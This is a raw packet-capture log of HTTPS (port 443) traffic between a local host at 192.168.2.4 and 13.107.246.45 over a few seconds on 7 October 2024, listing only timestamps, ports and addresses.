Oct 7, 2024 18:44:04.589674950 CEST	53685	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.589692116 CEST	443	53685	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.589700937 CEST	443	53685	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.591965914 CEST	53690	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.592009068 CEST	443	53690	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:04.593416929 CEST	53690	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.593534946 CEST	53690	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:04.593558073 CEST	443	53690	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.112369061 CEST	443	53686	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.112910032 CEST	53686	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.112934113 CEST	443	53686	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.113581896 CEST	53686	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.113591909 CEST	443	53686	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.122314930 CEST	443	53687	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.125801086 CEST	53687	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.125838041 CEST	443	53687	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.126153946 CEST	53687	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.126162052 CEST	443	53687	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.176817894 CEST	443	53688	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.177396059 CEST	53688	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.177417994 CEST	443	53688	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.177726030 CEST	53688	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.177730083 CEST	443	53688	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.189749002 CEST	443	53689	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.190274954 CEST	53689	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.190342903 CEST	443	53689	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.190716982 CEST	53689	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.190731049 CEST	443	53689	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.211354971 CEST	443	53686	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.211433887 CEST	443	53686	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.211719036 CEST	53686	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.211813927 CEST	53686	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.211813927 CEST	53686	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.211852074 CEST	443	53686	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.211883068 CEST	443	53686	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.214792967 CEST	53691	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.214834929 CEST	443	53691	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.214911938 CEST	53691	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.215059996 CEST	53691	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.215070963 CEST	443	53691	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.221498013 CEST	443	53687	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.221558094 CEST	443	53687	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.221698999 CEST	53687	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.221784115 CEST	53687	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.221785069 CEST	53687	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.221836090 CEST	443	53687	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.221870899 CEST	443	53687	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.223644972 CEST	53692	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.223680973 CEST	443	53692	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.223731041 CEST	53692	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.223825932 CEST	53692	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.223838091 CEST	443	53692	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.235589981 CEST	443	53690	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.235976934 CEST	53690	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.236007929 CEST	443	53690	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.236434937 CEST	53690	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.236443043 CEST	443	53690	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.278698921 CEST	443	53688	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.278755903 CEST	443	53688	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.278801918 CEST	53688	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.278901100 CEST	53688	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.278913021 CEST	443	53688	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.278922081 CEST	53688	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.278928041 CEST	443	53688	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.280994892 CEST	53693	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.281042099 CEST	443	53693	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.281116009 CEST	53693	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.281232119 CEST	53693	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.281253099 CEST	443	53693	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.284971952 CEST	443	53689	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.285152912 CEST	443	53689	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.285218954 CEST	53689	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.285279036 CEST	53689	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.285279036 CEST	53689	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.285317898 CEST	443	53689	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.285342932 CEST	443	53689	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.287096977 CEST	53694	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.287117004 CEST	443	53694	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.287184954 CEST	53694	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.287308931 CEST	53694	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.287318945 CEST	443	53694	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.341537952 CEST	443	53690	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.341594934 CEST	443	53690	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.341660023 CEST	53690	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.341799974 CEST	53690	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.341799974 CEST	53690	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.341850996 CEST	443	53690	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.341878891 CEST	443	53690	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.343988895 CEST	53695	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.344079971 CEST	443	53695	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.344167948 CEST	53695	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.344300985 CEST	53695	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.344336987 CEST	443	53695	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.936197042 CEST	443	53692	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.937124968 CEST	53692	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.937143087 CEST	443	53692	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.938055038 CEST	53692	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.938060999 CEST	443	53692	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.942001104 CEST	443	53691	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.942658901 CEST	53691	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.942673922 CEST	443	53691	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:05.943701029 CEST	53691	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:05.943705082 CEST	443	53691	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.022325993 CEST	443	53693	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.022857904 CEST	53693	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.022896051 CEST	443	53693	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.023166895 CEST	53693	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.023175001 CEST	443	53693	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.033235073 CEST	443	53692	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.033288002 CEST	443	53692	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.033437014 CEST	53692	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.033521891 CEST	53692	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.033535957 CEST	443	53692	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.033545017 CEST	53692	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.033550978 CEST	443	53692	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.036173105 CEST	53696	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.036201000 CEST	443	53696	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.036267042 CEST	53696	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.036390066 CEST	53696	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.036396980 CEST	443	53696	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.037981033 CEST	443	53694	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.038253069 CEST	53694	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.038284063 CEST	443	53694	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.038608074 CEST	53694	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.038611889 CEST	443	53694	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.039588928 CEST	443	53691	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.039645910 CEST	443	53691	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.039690971 CEST	53691	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.039752007 CEST	53691	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.039762974 CEST	443	53691	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.039774895 CEST	53691	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.039781094 CEST	443	53691	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.041838884 CEST	53697	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.041881084 CEST	443	53697	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.042015076 CEST	53697	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.042222977 CEST	53697	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.042232990 CEST	443	53697	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.105148077 CEST	443	53695	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.105735064 CEST	53695	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.105758905 CEST	443	53695	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.106200933 CEST	53695	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.106205940 CEST	443	53695	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.123570919 CEST	443	53693	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.123637915 CEST	443	53693	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.123823881 CEST	53693	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.124006987 CEST	53693	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.124006987 CEST	53693	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.124030113 CEST	443	53693	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.124038935 CEST	443	53693	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.126996994 CEST	53698	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.127114058 CEST	443	53698	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.127206087 CEST	53698	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.127362967 CEST	53698	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.127414942 CEST	443	53698	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.145809889 CEST	443	53694	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.145991087 CEST	443	53694	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.146054029 CEST	53694	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.146212101 CEST	53694	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.146212101 CEST	53694	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.146230936 CEST	443	53694	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.146240950 CEST	443	53694	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.148361921 CEST	53699	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.148391008 CEST	443	53699	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.148453951 CEST	53699	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.148575068 CEST	53699	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.148586035 CEST	443	53699	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.211111069 CEST	443	53695	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.211177111 CEST	443	53695	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.211221933 CEST	53695	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.211534977 CEST	53695	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.211548090 CEST	443	53695	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.211558104 CEST	53695	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.211563110 CEST	443	53695	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.214535952 CEST	53700	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.214560032 CEST	443	53700	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:06.214613914 CEST	53700	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.214740992 CEST	53700	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:06.214752913 CEST	443	53700	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.041889906 CEST	443	53698	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.041953087 CEST	443	53697	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.042239904 CEST	443	53700	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.042722940 CEST	53698	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.042787075 CEST	443	53698	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.042929888 CEST	53697	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.042947054 CEST	443	53697	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.043343067 CEST	53698	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.043354988 CEST	443	53698	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.043421984 CEST	53697	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.043431997 CEST	443	53697	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.043437958 CEST	53700	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.043450117 CEST	443	53696	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.043467045 CEST	443	53700	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.043688059 CEST	53696	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.043709993 CEST	443	53696	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.043756008 CEST	53700	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.043755054 CEST	443	53699	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.043762922 CEST	443	53700	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.044017076 CEST	53696	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.044020891 CEST	443	53696	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.044258118 CEST	53699	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.044264078 CEST	443	53699	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.044536114 CEST	53699	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.044539928 CEST	443	53699	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.137720108 CEST	443	53697	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.137779951 CEST	443	53697	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.137969971 CEST	53697	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.138163090 CEST	53697	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.138209105 CEST	443	53697	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.138237953 CEST	53697	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.138252974 CEST	443	53697	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.139035940 CEST	443	53698	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.139085054 CEST	443	53700	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.139102936 CEST	443	53698	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.139153957 CEST	443	53700	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.139180899 CEST	53698	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.140153885 CEST	53698	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.140153885 CEST	53698	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.140173912 CEST	443	53698	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.140191078 CEST	53700	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.140216112 CEST	443	53698	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.140223980 CEST	53700	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.140242100 CEST	443	53700	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.140254021 CEST	53700	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.140259027 CEST	443	53700	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.141024113 CEST	443	53699	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.141182899 CEST	443	53699	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.141256094 CEST	53699	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.141529083 CEST	53699	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.141542912 CEST	443	53699	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.141554117 CEST	53699	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.141558886 CEST	443	53699	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.142715931 CEST	53701	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.142755032 CEST	443	53701	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.143397093 CEST	53702	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.143404961 CEST	443	53702	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.143415928 CEST	53701	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.143450022 CEST	53702	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.143635035 CEST	53703	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.143662930 CEST	443	53703	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.143771887 CEST	53701	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.143783092 CEST	443	53701	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.143831968 CEST	53703	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.143876076 CEST	53702	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.143883944 CEST	443	53702	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.143949986 CEST	53703	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.143964052 CEST	443	53703	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.144113064 CEST	53704	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.144141912 CEST	443	53704	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.144192934 CEST	53704	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.144331932 CEST	53704	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.144340038 CEST	443	53704	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.144476891 CEST	443	53696	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.144634962 CEST	443	53696	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.144690037 CEST	53696	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.144737005 CEST	53696	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.144737005 CEST	53696	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.144745111 CEST	443	53696	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.144751072 CEST	443	53696	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.146579027 CEST	53705	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.146595955 CEST	443	53705	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.146661043 CEST	53705	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.146761894 CEST	53705	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.146775961 CEST	443	53705	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.762259960 CEST	443	53705	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.762794971 CEST	443	53703	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.763139009 CEST	53705	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.763171911 CEST	443	53705	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.764166117 CEST	53705	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.764178038 CEST	443	53705	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.764579058 CEST	53703	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.764609098 CEST	443	53703	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.765412092 CEST	53703	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.765418053 CEST	443	53703	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.822997093 CEST	443	53702	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.824191093 CEST	53702	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.824233055 CEST	443	53702	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.824973106 CEST	53702	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.824978113 CEST	443	53702	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.852300882 CEST	443	53704	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.852979898 CEST	53704	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.853005886 CEST	443	53704	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.853465080 CEST	443	53701	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.853755951 CEST	53704	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.853760958 CEST	443	53704	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.854167938 CEST	53701	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.854201078 CEST	443	53701	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.854964018 CEST	53701	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.854970932 CEST	443	53701	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.857507944 CEST	443	53705	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.857570887 CEST	443	53705	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.857620955 CEST	53705	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.857851028 CEST	53705	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.857867002 CEST	443	53705	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.857878923 CEST	53705	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.857884884 CEST	443	53705	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.859087944 CEST	443	53703	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.859154940 CEST	443	53703	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.859213114 CEST	53703	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.859481096 CEST	53703	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.859496117 CEST	443	53703	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.859508991 CEST	53703	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.859513998 CEST	443	53703	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.862662077 CEST	53706	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.862689018 CEST	443	53706	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.862792969 CEST	53706	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.862955093 CEST	53706	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.862972021 CEST	443	53706	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.864475965 CEST	53707	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.864506006 CEST	443	53707	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.864590883 CEST	53707	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.864737034 CEST	53707	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.864746094 CEST	443	53707	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.930284023 CEST	443	53702	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.930341959 CEST	443	53702	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.930396080 CEST	53702	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.930690050 CEST	53702	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.930713892 CEST	443	53702	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.930727959 CEST	53702	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.930736065 CEST	443	53702	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.934261084 CEST	53708	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.934303045 CEST	443	53708	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.934367895 CEST	53708	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.934608936 CEST	53708	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.934621096 CEST	443	53708	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.952682018 CEST	443	53704	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.952739954 CEST	443	53704	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.952785015 CEST	53704	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.953138113 CEST	53704	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.953157902 CEST	443	53704	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.953169107 CEST	53704	443	192.168.2.4	13.107.246.45
Oct 7, 2024 18:44:07.953174114 CEST	443	53704	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.955441952 CEST	443	53701	13.107.246.45	192.168.2.4
Oct 7, 2024 18:44:07.955527067 CEST	443	53701	13.107.246.45	192.168.2.4
